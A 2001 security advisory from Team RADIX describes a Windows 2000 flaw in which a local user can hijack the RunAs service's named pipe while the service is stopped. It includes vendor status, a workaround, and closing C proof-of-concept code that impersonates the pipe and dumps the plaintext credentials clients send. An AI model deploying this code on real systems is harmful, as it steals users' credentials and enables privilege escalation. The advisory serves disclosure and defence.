Team RADIX Research Report: RADIX1112200101

Date Published: 11-12-2001
Research Report ID: RADIX1112200101
Bugtraq ID: 3185
CVE CAN: N/A
Title: RunAs Service Pipe Authentication Failure
Class: Privilege Escalation and Information Disclosure
Remotely Exploitable: No
Locally Exploitable: Yes

Vulnerability Description:
The Windows 2000 RunAs service allows a user to launch an application in
a security context based upon a supplied set of credentials. If the
service is ever in a stopped state, an arbitrary local user of the
system has the ability to recover the RunAs service user's plaintext
credentials. Additionally, the user may also impersonate the credentials
the clients of the RunAs service.

Vulnerable Systems: Microsoft Windows 2000

Solution/Vendor Information/Workaround:
The vendor has decided to include the fix within service pack 3 (SP3).

According to the vendor, "In February 2002, we will release Windows 2000
Service Pack 3 (SP3)".

http://www.microsoft.com/presspass/features/2001/oct01/10-03securityqa.a
sp

When service pack 3 is released, Camisade recommends installing it.

In the meantime, do not use the RunAs service. However, do not disable
the RunAs service. The RADIX1112200101 vulnerability can only be
exploited if the RunAs service is not running. The malicious attacker is
performing a man in the middle attack using a malicious RunAs service.

Summary: Ensure the RunAs service is in it's default setting
(automatically started and running). The default install of the service,
unused and not set to manual (or disabled) is the safest method until
service pack 3 is released. As a temporary solution, do not use any
utilities that leverage the RunAs service. This includes the RunAs
command line utility and Explorer's RunAs functionality.

Vendor notified on: 09-10-2001

The vendor was notified, and confirmed receipt, approximately two months
ago. In keeping with the Camisade Research Report Policy, the
information has been made public to best benefit the security community
through full disclosure.

Credits:
Camisade - Team RADIX (researchcamisade.com) http://www.camisade.com

This advisory was drafted with the help of the SecurityFocus.com
Vulnerability Help Team. For more information or assistance drafting
advisories please mail vulnhelpsecurityfocus.com.

Technical Description - Proof of Concept Code:
The Windows 2000 API CreateProcessWithLogonW leverages the RunAs service
to authenticate and launch an application requested by the user, in a
distinct security context, based on the credentials supplied.
Consequently, that API must send highly sensitive data to the RunAs
service in order to launch that application. However, that API performs
no server-side authenticity validation prior to sending the credentials.

If the RunAs service is ever in a stopped state, an arbitrary user may
usurp its named pipe communication channel "\\.\pipe\secondarylogon".
The user's malicious application would then be capable of stealing
credentials of the users of the RunAs service, because the credentials
are sent in plaintext. Additionally, the application is capable of
impersonating the clients' security context throughout the system in an
effort to escalate privileges.

In light of issues such as these, Microsoft created the native API
NtSecureConnectPort for sending highly sensitive data via the LPC
subsystem. Unfortunately, there is no standard API, provided by
Microsoft, for deterministically connecting to a pipe based on a
supplied SID.

// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or //
misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

#define MAX_IN_BUF 0x1000
#define MAX_OUT_BUF 0x4
#define MAX_INST 0xA

#define SECONDARY_LOGON_PIPE _T("\\\\.\\pipe\\SecondaryLogon")

void main()
{
   HANDLE hPipe;

   hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
      PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
      NMPWAIT_USE_DEFAULT_WAIT, 0);

   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Can't create secondary logon pipe. Error %d\n",
GetLastError());
      return;
   }

   printf("Created pipe and waiting for clients...\n");
   if (ConnectNamedPipe(hPipe, 0))
   {
      UCHAR InBuf[MAX_IN_BUF];
      DWORD dwReadCount;
      
      while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
      {
         printf("Read %d bytes. (ASCII Dump)\n", dwReadCount);

         DWORD dwPos;
         for (dwPos = 0; dwPos < dwReadCount; dwPos++)
         {
            printf("%c ", InBuf[dwPos]);

            if ((dwPos % 16) == 0)
               printf("\n");
         }

         DWORD dwReply = ERROR_ACCESS_DENIED;
         DWORD dwWroteCount;
         WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
      }
   }
   DisconnectNamedPipe(hPipe);
   CloseHandle(hPipe);
}

-- 
Team RADIX -- Camisade LLC
http://www.camisade.com
Application Security Innovations
Camisade Direct: 1.800.709.1241

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